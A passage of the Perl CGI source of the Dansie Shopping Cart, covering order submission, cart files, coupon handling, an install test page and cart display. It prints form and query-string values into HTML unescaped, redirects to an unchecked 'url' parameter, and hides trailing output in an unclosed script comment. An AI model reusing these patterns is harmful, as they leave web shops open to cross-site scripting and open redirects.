if ( $add4 ); print"<BR><A HREF=\"$ssl_target_page\" TARGET=\"_top\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[12] $bizname</FONT></A><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add5</FONT><BR>"; print"<A HREF=\"mailto:$myemail[0]\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$myemail[0]</FONT></A><BR>"; print "</TD></TR></TABLE></CENTER>"; &print_button; &check_mailprog; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>\n"; print "<!--BEGIN-->\n"; print "<NOSCRIPT>\n <SCRIPT>\n /*\n"; if ( $ENV{'QUERY_STRING'} =~ /^($unique_MAU)/ ) { $purpose_temp = "$lang[14]"; } if ( ( $ENV{'QUERY_STRING'} =~ /^(check$unique_MAU)/ ) || ( $ENV{'QUERY_STRING'} =~ /^(icheck$unique_MAU)/ ) ) { $purpose_temp = "$lang[71]"; } $purchase_method = "$purpose_temp"; &send_email; $untainted = &untaint("$path1/$shopper_id$ext"); unlink("$untainted"); exit; } if ( $FORM{'purpose'} eq "credit_phone" ||  $FORM{'purpose'} eq "cod" || ( $FORM{'purpose'} eq "check" && ($option3 == 2) ) || $FORM{'purpose'} eq "auxiliary" ) { &check_cookie; &check_tax; &get_shoppers_items; if ( $items[1] =~ /$delimiter2/ ) { ($field1,$field2,$field3,$field4,$field5,$field6,$field7,$field8,$field9,$field10,$field11,$field12,$field13,$field14,$field15,$field16,$field17,$field18) = split(/$delimiter2/, $items[1]); } print "Content-type: text/html\n\n"; if ( $FORM{'purpose'} eq "credit_phone" ) { $purpose_temp = "$lang[25]"; } if ( $FORM{'purpose'} eq "cod" ) { $purpose_temp = "$lang[97]"; } if ( $FORM{'purpose'} eq "check" ) { $purpose_temp = "$lang[1]"; } if ( $FORM{'purpose'} eq "auxiliary" ) { $purpose_temp = "$option6"; } print "<HTML><HEAD><TITLE>$bizname - $purpose_temp</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$purpose_temp</FONT></CENTER>"; print "<CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[15]</FONT></CENTER><BR>"; &get_shipping_cookie; &print_ship_address; if ( ($FORM{'purpose'} eq "credit_phone") || ( $FORM{'purpose'} eq "auxiliary" ) ) { $show_copy_button = 1; &print_ship_address2; } &comments if ($comments); print "<INPUT TYPE=HIDDEN NAME=purpose2 VALUE=\"$FORM{'purpose'}\">"; print "<CENTER><BR>"; if ( $lang[19] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[19]\" VALUE=\"$lang[19]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[19]\">"; } print "</CENTER> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> </FORM>"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>"; exit; } if ( $FORM{'purpose2'} eq "credit_phone" || $FORM{'purpose2'} eq "cod" || ( $FORM{'purpose2'} eq "check" && ($option3 == 2) ) || $FORM{'purpose2'} eq "auxiliary" ) { &check_duplicate_order; &get_shoppers_items; &calculate_fulltotal; &get_shoppers_items; if ($comments) { chop($items[0]) if ( $items[0] =~ /\n$/ ); ($a,$b,$c,$d,$e,$f,$coupon_number) = split(/$delimiter2/,$items[0]); $items[0] = "$a$delimiter$b$delimiter$c$delimiter$d$delimiter$FORM{'comments'}$delimiter$f$delimiter$coupon_number\n"; } $items[1] = "$FORM{'name'}$delimiter$FORM{'company'}$delimiter$FORM{'address'}$delimiter$FORM{'city'}$delimiter$FORM{'state'}$delimiter$FORM{'zip'}$delimiter$FORM{'country'}$delimiter$FORM{'phone'}$delimiter$FORM{'email'}$delimiter$FORM{'name2'}$delimiter$FORM{'company2'}$delimiter$FORM{'address2'}$delimiter$FORM{'city2'}$delimiter$FORM{'state2'}$delimiter$FORM{'zip2'}$delimiter$FORM{'country2'}$delimiter$FORM{'phone2'}$delimiter$FORM{'email2'}\n"; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); foreach $item (@items) { print CART "$item"; } close CART; if ($ip_or_cookie == 1) { &SetCookieExpDate; &SetCompressedCookies('shipping_address','name',"$FORM{'name'}",'company',"$FORM{'company'}",'address',"$FORM{'address'}",'city',"$FORM{'city'}",'state',"$FORM{'state'}",'zip',"$FORM{'zip'}",'country',"$FORM{'country'}",'phone',"$FORM{'phone'}",'email',"$FORM{'email'}",'name2',"$FORM{'name2'}",'company2',"$FORM{'company2'}",'address2',"$FORM{'address2'}",'city2',"$FORM{'city2'}",'state2',"$FORM{'state2'}",'zip2',"$FORM{'zip2'}",'country2',"$FORM{'country2'}",'phone2',"$FORM{'phone2'}",'email2',"$FORM{'email2'}"); } $required_fields = &required_fields; $required_fields2 = &required_fields2; if (  (!$required_fields) || ( ($FORM{'purpose2'} eq "credit_phone") && (!$required_fields2) ) || ( ($FORM{'purpose2'} eq "auxiliary") && (!$required_fields2) ) ) { print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $purpose_temp</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[20]<BR>$lang[21]<BR><BR>"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; exit; } if ( $FORM{'purpose2'} eq "credit_phone" ) { $purpose_temp = "$lang[25]"; } if ( $FORM{'purpose2'} eq "cod" ) { $purpose_temp = "$lang[97]"; } if ( $FORM{'purpose2'} eq "check" ) { $purpose_temp = "$lang[1]"; } if ( $FORM{'purpose2'} eq "auxiliary" ) { $purpose_temp = "$option6"; } if ($paper_font_color) { &paper_font_color; } print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - $purpose_temp</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">"; if ( $FORM{'purpose2'} eq "credit_phone" ) { print "$lang[25]<BR>$lang[31]<BR>$add4"; } if ( $FORM{'purpose2'} eq "cod" ) { print "$lang[97]<BR>$lang[98]"; } if ( $FORM{'purpose2'} eq "check" ) { print "$lang[1]"; } if ( $FORM{'purpose2'} eq "auxiliary" ) { print "$lang[83]"; } print "</FONT></CENTER>"; print "<CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[29]</FONT></CENTER><BR>"; $purchase_method2 = "$purpose_temp"; &order_tracking; &show_invoice; if ( $items[1] =~ /$delimiter2/ ) { ($field1,$field2,$field3,$field4,$field5,$field6,$field7,$field8,$field9,$field10,$field11,$field12,$field13,$field14,$field15,$field16,$field17,$field18) = split(/$delimiter2/, $items[1]); } print "<BR><CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[30]</FONT></CENTER><BR>"; &print_ship_address; if ( ($FORM{'purpose2'} eq "credit_phone") || ($FORM{'purpose2'} eq "auxiliary") ) { &print_ship_address2; } &comments if ($comments); print "<BR> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> </FORM>"; print "<BR><CENTER><TABLE WIDTH=\"$table_width\" BORDER=0 CELLPADDING=0 CELLSPACING=0><TR><TD> <FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$guarantee</FONT><BR><BR>"; if ( $FORM{'purpose2'} eq "check" ) { print "<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[10] </FONT><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"> \"$payable\"</FONT><BR>"; print "<FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[11]</FONT><BR><BR>"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add1</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add2</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add3</FONT><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add4</FONT><BR>" if ( $add4 ); print"<BR><A HREF=\"$ssl_target_page\" TARGET=\"_top\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[12] $bizname</FONT></A><BR>"; print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$add5</FONT><BR>"; print"<A HREF=\"mailto:$myemail[0]\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$myemail[0]</FONT></A><BR>"; print "</TD></TR></TABLE></CENTER>"; &print_button; &check_mailprog; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>\n <NOSCRIPT>\n <SCRIPT>\n /*\n"; if ( $FORM{'purpose2'} eq "credit_phone" ) { $purchase_method = "$lang[25]"; } if ( $FORM{'purpose2'} eq "cod" ) { $purchase_method = "$lang[97]"; } if ( $FORM{'purpose2'} eq "check" ) { $purchase_method = "$lang[1]"; } if ( $FORM{'purpose2'} eq "auxiliary" ) { $purchase_method = "$option6"; } &send_email; if ( ($FORM{'purpose2'} eq "cod") || ($FORM{'purpose2'} eq "auxiliary") ) { $untainted = &untaint("$path1/$shopper_id$ext"); unlink("$untainted"); } exit; } if ( $ENV{'QUERY_STRING'} =~ /^(referrer)(\=)(.*)/i ) { @referrer_info = split(/\&/,$ENV{'QUERY_STRING'}); foreach (@referrer_info) { ($name,$value) = split(/\=/,$_); if ($name eq "referrer") { $referrer = "$value"; } if ($name eq "url") { $url = "$value"; } if ($name eq "merchant") { $merchant = "$value"; } } if (!$url) { $url = "$path4"; } &get_shoppers_items; $untainted = &untaint("$path1/$shopper_id$ext"); if (!-e "$untainted") { open(CART,">$untainted"); print CART "$date$delimiter$referrer - $invoice\n"; print CART "Shipping address info goes here later\n"; close CART; } print "Content-type: text/html\n\n"; print "<HTML><HEAD><META HTTP-EQUIV=REFRESH CONTENT=0;URL=$url></HEAD></HTML>"; exit; } if ( (!$vars_security) && ($ENV{'QUERY_STRING'} =~ /^write_test/i) ) { $path1 .= "/test.txt"; open(FILE,">>$path1"); print FILE "testing... \n"; close(FILE); &increment_invoice; print "Content-type: text/html\n\n"; print "<B>\"carts\" directory and \"invoice.dat\" file write permissions test:</B><BR>"; open(FILE,"$path1"); @lines = <FILE>; close(FILE); open(FILE,"$path2"); @lines2 = <FILE>; close(FILE); print "<TABLE BORDER=1> <TR><TD>File:</TD><TD>\"carts\" directory:</TD><TD>\"invoice.dat\" file:</TD></TR> <TR><TD>System Path:</TD><TD>$path1</TD><TD>$path2</TD></TR> <TR><TD>Writable?</TD><TD>@lines &nbsp;</TD><TD>@lines2 &nbsp;</TD></TR> </TABLE><BR>"; print "Are the contents of the above table growing or changing as you click the RELOAD/REFRESH button at the top of your browser? If not then permissions are not set as writable. If you don't know how to set the permissions, send your host the URL to this page and ask your them to set permissions for you on this directory and file so the cart.pl script can write to them."; &footer; } if ( $ENV{'QUERY_STRING'} =~ /^test/i ) { print "Content-type: text/html\n\n"; print "<HTML><HEAD><TITLE>$bizname - Installation Success!</TITLE>\n$meta_tag\n</HEAD> <BODY BGCOLOR=#FFFFFF> <H1>Installation Success! <BR>Your Dansie Shopping Cart is installed!</H1>"; &check_mailprog; print "<H3>Below is a test form, but it will only work properly if you have your system paths and URLs set correctly in the HOST VARIABLES section of your vars.dat file. Now you may set your Personal, Secure Server and Database Variables.</H3> <FORM METHOD=POST ACTION=\"$path3\"> <FONT FACE=\"Times New Roman\" COLOR=\"#000099\" SIZE=+1> SuperWuper Widget<BR>Price: \$19.95</FONT><BR> <INPUT TYPE=HIDDEN NAME=name VALUE=\"SuperWuper Widget\"> <INPUT TYPE=HIDDEN NAME=price VALUE=\"19.95\"> <INPUT TYPE=HIDDEN NAME=sh VALUE=\"1\"> <INPUT TYPE=HIDDEN NAME=return VALUE=\"$path4\"> <INPUT TYPE=HIDDEN NAME=\"custom1\" VALUE=\"Stock#SW01\">"; if ( $FORM{'merchant'} ) { print "<INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\">"; } print "<INPUT TYPE=SUBMIT NAME=\"add\" VALUE=\"Put in Shopping Cart\">\n"; if ( $FORM{'merchant'} ) { $merchant_form_example = "'&lt;INPUT TYPE=HIDDEN NAME=merchant  VALUE=\"$FORM{'merchant'}\">\\n\\n',\n"; } print "<SCRIPT LANGUAGE=\"JavaScript1.2\">\n document.write('<INPUT TYPE=BUTTON VALUE=\"View Form Source\" onClick=\"viewSource()\">');\n </SCRIPT>\n <SCRIPT LANGUAGE=\"JavaScript1.2\">\n <!--\n function viewSource()\n {\n FormSource = window.open(\"\", \"FormSource\", \"resizable=yes,height=400,width=700,scrollbars=yes,titlebar=no\")\n FormSource.document.open()\n FormSource.document.write('\\n<PRE>\\n\\n&lt;FORM METHOD=POST ACTION=\"$path3\">\\n\\n',\n $merchant_form_example '&lt;B>\\n',\n 'SuperWuper Widget&lt;BR>\\n',\n 'Price: \$19.95&lt;BR>\\n',\n '&lt;/B>\\n\\n',\n '&lt;INPUT TYPE=HIDDEN NAME=name    VALUE=\"SuperWuper Widget\">\\n',\n '&lt;INPUT TYPE=HIDDEN NAME=price   VALUE=\"19.95\">\\n',\n '&lt;INPUT TYPE=HIDDEN NAME=sh      VALUE=\"1\">\\n',\n '&lt;INPUT TYPE=HIDDEN NAME=return  VALUE=\"$path4\">\\n',\n '&lt;INPUT TYPE=HIDDEN NAME=custom1 VALUE=\"Stock#SW01\">\\n\\n',\n '&lt;INPUT TYPE=SUBMIT NAME=\"add\"   VALUE=\"Put in Shopping Cart\">\\n',\n '&lt;/FORM>\\n\\n',\n '&lt;!-- <BR>Details on HTML product forms are in section 1 \\nof Template.html in the <A HREF=\"http://www.dansie.net/cart_readme.html\" TARGET=\"ReadMe\">ReadMe</A> package. \\n-->\\n</PRE>\\n')\n FormSource.document.close()\n }\n //-->\n </SCRIPT>\n"; print "</FORM>\n"; if ($db_version < 3 ) { $database_link_example = "$path3?db$query_separator2" . "stuff.dat$query_separator2" . "All%20Items"; if ( $FORM{'merchant'} ) { $database_link_example .= "$query_separator2" . "merchant=$FORM{'merchant'}"; } } else { $database_link_example = "$path3?db=stuff.dat"; if ( $FORM{'merchant'} ) { $database_link_example .= "&merchant=$FORM{'merchant'}"; } } print "<H3>The cart is activated by either an <A HREF=\"http://www.dansie.net/cart_form_source.html\">HTML product form</A><BR>Or by a link to the cart script with a query string to a <A HREF=\"http://www.dansie.net/stuff.dat\">database file</A>.<BR>Database link example: <A HREF=\"$database_link_example\">$database_link_example</A></H3>"; &footer; } if ( $FORM{'purpose'} eq "coupon_discount" ) { if (!&GetCookies("$cookie_name2") && ($ip_or_cookie == 1) ) { &cookie_failure; } &get_shoppers_items; $coupon_discount_file = "$vars"; $a = ""; until ($a eq "/" || $coupon_discount_file eq "") { $a = chop($coupon_discount_file); } $coupon_discount_file = "$coupon_discount_file/discount.dat"; open (FILE, "$coupon_discount_file"); @coupons=<FILE>; close (FILE); foreach $line (@coupons) { if ($line =~ /\n$/) { chop($line); } ($coupon_number,$coupon_amount) = split(/$delimiter2/,$line); if ( $FORM{'coupon'} eq "$coupon_number" ) { &get_shoppers_items; chop($items[0]); ($a,$invoice,$state,$ship_method,$comments2,$trash) = split(/$delimiter2/, $items[0]); $items[0] = "$a$delimiter$invoice$delimiter$state$delimiter$ship_method$delimiter$comments2$delimiter$coupon_amount$delimiter$coupon_number\n"; $untainted = &untaint("$path1/$shopper_id$ext"); open(CART,">$untainted"); foreach $item (@items) { print CART "$item"; } close (CART); last; } } &list_items; exit; } if ( $FORM{'purpose'} eq "empty_entire_cart" ) { if (!&GetCookies("$cookie_name2") && ($ip_or_cookie == 1) ) { &cookie_failure; } &get_shoppers_items; $untainted = &untaint("$path1/$shopper_id$ext"); if ( $items[0] =~ /\n$/ ) { chop($items[0]); } (@temp) = split(/$delimiter2/,"$items[0]"); $items[0] = "$temp[0]$delimiter$temp[1]$delimiter$temp[2]$delimiter$temp[3]$delimiter$temp[4]$delimiter$temp[5]\n"; open(CART,">$untainted"); print CART "$items[0]"; print CART "$items[1]"; close (CART); &list_items; exit; } if ( $ENV{'QUERY_STRING'} eq "login" ) { &merchant_login; } if ( ( $FORM{'login'} || $FORM{'upload'} || $FORM{'delete'} || $FORM{'view'} || $FORM{'up'} || $FORM{'mkdir'} ) && ( $ENV{'CONTENT_TYPE'} =~ /multipart\/form\-data/i ) ) { &merchant_login2; } &list_items; sub list_items { if ( $FORM{'check_cookie'} ) { &check_cookie; } &get_shoppers_items; chop($items[0]); ($a,$invoice,$state,$ship_method,$comments2,$coupon_amount,$coupon_number) = split(/$delimiter2/, $items[0]); if ( ($ENV{'HTTP_HOST'} || $ENV{'SERVER_NAME'}) && (!$there2) ) { &there3; exit; } print "Content-type: text/html\n\n"; if ( $FORM{'return'} eq "" ) { $FORM{'return'} = "$path4"; } $target = "TARGET=\"$target_name\""; print "<HTML><HEAD><TITLE>$bizname - $lang[32]</TITLE>\n$meta_tag\n</HEAD>"; print "<BODY BGCOLOR=\"$bgcolor\" BACKGROUND=\"$wp\">"; print "<CENTER>$lang[114]</CENTER>"; if ( $show_bizname ) { print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$bizname</FONT></CENTER>"; } if ( $image ) { print "<CENTER><IMG SRC=\"$image\" ALT=\"$bizname\" BORDER=0></CENTER>"; } print "<CENTER><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[33]</FONT></CENTER>"; if ($authorized_referrers_message) { print "<CENTER><BR><FONT SIZE=\"$font_size2\" FACE=\"$font_face2\" COLOR=\"$font2\">$lang[17]</FONT> <A HREF=\"mailto:$myemail\"><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$myemail[0]</FONT></A><BR><BR></CENTER>"; print "\n\n\n<!--\n\$ENV{'HTTP_REFERER'} = $ENV{'HTTP_REFERER'}\nChopped to: $http_referer\n-->\n\n\n"; } if ( @items <= 2 ) { print"<BR><CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[40]</FONT></CENTER><BR><CENTER>"; if ( $FORM{'return'} =~ /$path3\?(.*)/ ) { print "<FORM $post_get_method ACTION=\"$FORM{'return'}\" $target > <INPUT TYPE=HIDDEN NAME=\"should_be_get_method\" VALUE=\"yep\">"; } else { print "<FORM $post_get_method ACTION=\"$FORM{'return'}\" $target >"; } print "<FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; if ( $lang[41] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"\" SRC=\"$lang[41]\" VALUE=\"$lang[41]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT VALUE=\"$lang[41]\">"; } print "</FONT></FORM></CENTER>"; print "<CENTER><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">$lang[111]<BR> <A HREF=\"http://www.dansie.net\" TARGET=\"cart\" ><FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\">Dansie Shopping Cart</FONT></A> <FONT SIZE=-1 COLOR=\"$font1\" FACE=\"$font_face1\"><I>http://www.dansie.net</I></FONT></CENTER>"; print "</BODY></HTML>"; exit; } else { print "<CENTER> <TABLE BORDER=$borders2 CELLSPACING=0 CELLPADDING=5 WIDTH=\"$table_width\" > <TR BGCOLOR=\"$address_table_bgcolor\" > <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font2\"><I>$lang[54]</I></FONT></TD> <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font2\"><I>$lang[74]</I></FONT></TD> <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font2\"><I>$lang[34]</I></FONT></TD> <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font2\"><I>$lang[36]</I></FONT></TD> <TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font2\"><I>$lang[82]</I></FONT></TD> </TR>"; if (!$borders2) { print "<TR><TD COLSPAN=5><HR></TD></TR>"; } $total = 0; $ship_total = 0; $nontaxable = 0; $noshipping = 0; $n = 0; foreach $item (@items) { if ( ( $n == 0 ) || ( $n == 1 ) ) { $n++; next; } @stuff = split(/$delimiter2/,$item); @customs = (@stuff); for($i=1;$i<=5;$i++) { shift(@customs); } $quantity = $stuff[4]; $price_calc = $stuff[1]; &price_calc; $item_total = $each * $stuff[4]; if ($item =~ /\#non.*taxable\#/i) { $nontaxable += $item_total; } if ($item =~ /\#noshipping\#/i) { $noshipping += $item_total; } $total += $item_total; $sh = $stuff[2] * $stuff[4]; $ship_total += $sh; if ($show_ship) { $rows=2; } else { $rows=1; } print "<TR><TD ROWSPAN=$rows VALIGN=TOP><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\"><B>$stuff[0]</B></FONT>"; if ( $stuff[3] =~ /^(http)/ ) { print "<BR><IMG SRC=\"$stuff[3]\" BORDER=$img_borders ALT=\"$stuff[0]\" VSPACE=10 $uni_width $uni_height >"; } elsif ( $stuff[3] =~ /\./ ) { print "<BR><IMG SRC=\"$base_img_url/$stuff[3]\" BORDER=$img_borders ALT=\"$stuff[0]\" VSPACE=10 $uni_width $uni_height >"; } print "&nbsp;</TD>"; print "<TD ROWSPAN=$rows VALIGN=TOP><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">"; for ( $i=5;$i<=($customs+4);$i++ ) { $stuff[$i] =~ s/$br_sub/<BR>\n/g; if ( $stuff[$i] ) { print "$stuff[$i]<BR>" unless ( $stuff[$i] =~ /\#non.*taxable\#/i || $stuff[$i] =~ /\#noshipping\#/i || $suppress_desc == 2); } } print "&nbsp;</FONT></TD>"; print "<TD VALIGN=TOP ALIGN=CENTER ROWSPAN=$rows><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" > <FORM METHOD=POST ACTION=$path3> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"$lang[35]\"> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=return VALUE=\"$FORM{'return'}\"> <INPUT TYPE=HIDDEN NAME=item VALUE=$n> <INPUT TYPE=HIDDEN NAME=convert_cookie_to_ip VALUE=\"$shopper_id\">"; if ($fix_int_quantity != 2) { print "<INPUT TYPE=TEXT NAME=quantity VALUE=\"$stuff[4]\" SIZE=$quantity_digits MAXLENGTH=$quantity_digits><BR>"; if ( $lang[35] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"purpose\" SRC=\"$lang[35]\" VALUE=\"$lang[35]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT NAME=purpose VALUE=\"$lang[35]\">"; } } else { print "<TABLE BORDER=1 CELLSPACING=0><TR><TD BGCOLOR=\"$address_table_bgcolor\"><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$stuff[4]</FONT></TD></TR></TABLE>"; } print "</FORM>"; print "<FORM METHOD=POST ACTION=$path3> <INPUT TYPE=HIDDEN NAME=purpose VALUE=\"$lang[38]\"> <INPUT TYPE=HIDDEN NAME=merchant VALUE=\"$FORM{'merchant'}\"> <INPUT TYPE=HIDDEN NAME=return VALUE=\"$FORM{'return'}\"> <INPUT TYPE=HIDDEN NAME=item VALUE=$n> <INPUT TYPE=HIDDEN NAME=convert_cookie_to_ip VALUE=\"$shopper_id\">"; if ( $lang[38] =~ /^http/i ) { print "<INPUT TYPE=IMAGE NAME=\"purpose\" SRC=\"$lang[38]\" VALUE=\"$lang[38]\" BORDER=0>"; } else { print "<INPUT TYPE=SUBMIT NAME=purpose VALUE=\"$lang[38]\">"; } print "</FORM></TD>"; $each = sprintf("$decimals","$each"); print "<TD ROWSPAN=1 ALIGN=RIGHT VALIGN=TOP><NOBR><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$symbol$each</FONT></NOBR></TD>"; print "<TD ROWSPAN=$rows VALIGN=TOP ALIGN=RIGHT><NOBR><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$symbol"; printf "$decimals", $item_total; print "</FONT></NOBR></TD></TR>";   if ( $show_ship ) { $sh = sprintf("$decimals",$sh); print "<TR><TD ALIGN=CENTER><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$lang[37]<BR>($wt)</FONT><BR><FONT SIZE=\"$font_size1\" COLOR=\"$font1\" FACE=\"$font_face1\">$sh</FONT></TD></TR>"; } if (!$borders2) { print "<TR><TD COLSPAN=5><HR></TD></TR>"; } $n++; } if ( $coupon_amount ) { &coupon_amount; print "<TR><TD COLSPAN=4><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$lang[116] ($coupon_amount)</FONT></TD><TD ALIGN=RIGHT> <FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\"> - $symbol $temp</TD></TR>"; } &webstore_discount; if ( $discount_amount ) { $total -= $discount_amount; if ( $nontaxable ) { $nontaxable -= $discount_amount; } print "<TR><TD COLSPAN=4><FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\">$lang[108] ($disc_percent\%)</FONT></TD><TD ALIGN=RIGHT> <FONT SIZE=\"$font_size1\" FACE=\"$font_face1\" COLOR=\"$font1\"> - $symbol $discount_amount</TD></TR>"; if (!$borders2) { print "<TR><TD COLSPAN=5><HR></TD></TR>"; } } $total = sprintf("$decimals",$total); $price[0] = sprintf("$decimals",$price[0]); $tax_temp = $total - $nontaxable; $tax_temp = (($tax/100) * $tax_temp); $tax_temp = sprintf("$decimals",$tax_temp); &ship_calc; if (!$force_no_script) { print " <SCRIPT language=\"JavaScript\">\n compat = false;\n if( parseInt( navigator.appVersion ) >= $compat ) { compat = true; }\n </SCRIPT>\n <SCRIPT language=\"JavaScript1.2\">\n //if( (navigator.appVersion.search(/Mac/i)>=0) && (navigator.appName==\"Netscape\") )\n if( navigator.appVersion.search(/Mac/i)>=0 )\n { compat = false; }\n var tax = 0\n var subTotal = $total                // original sub total\n var salesTax = $tax_temp             // state sales tax if resident\n"; if ( $ship_allow == 1 ) { print "\nvar ship_method = $price[0]          // price of cheapest shipping method\n"; } elsif ( $ship_allow == 2) { print "\nvar ship_method = $ship_total        // price of cheapest shipping 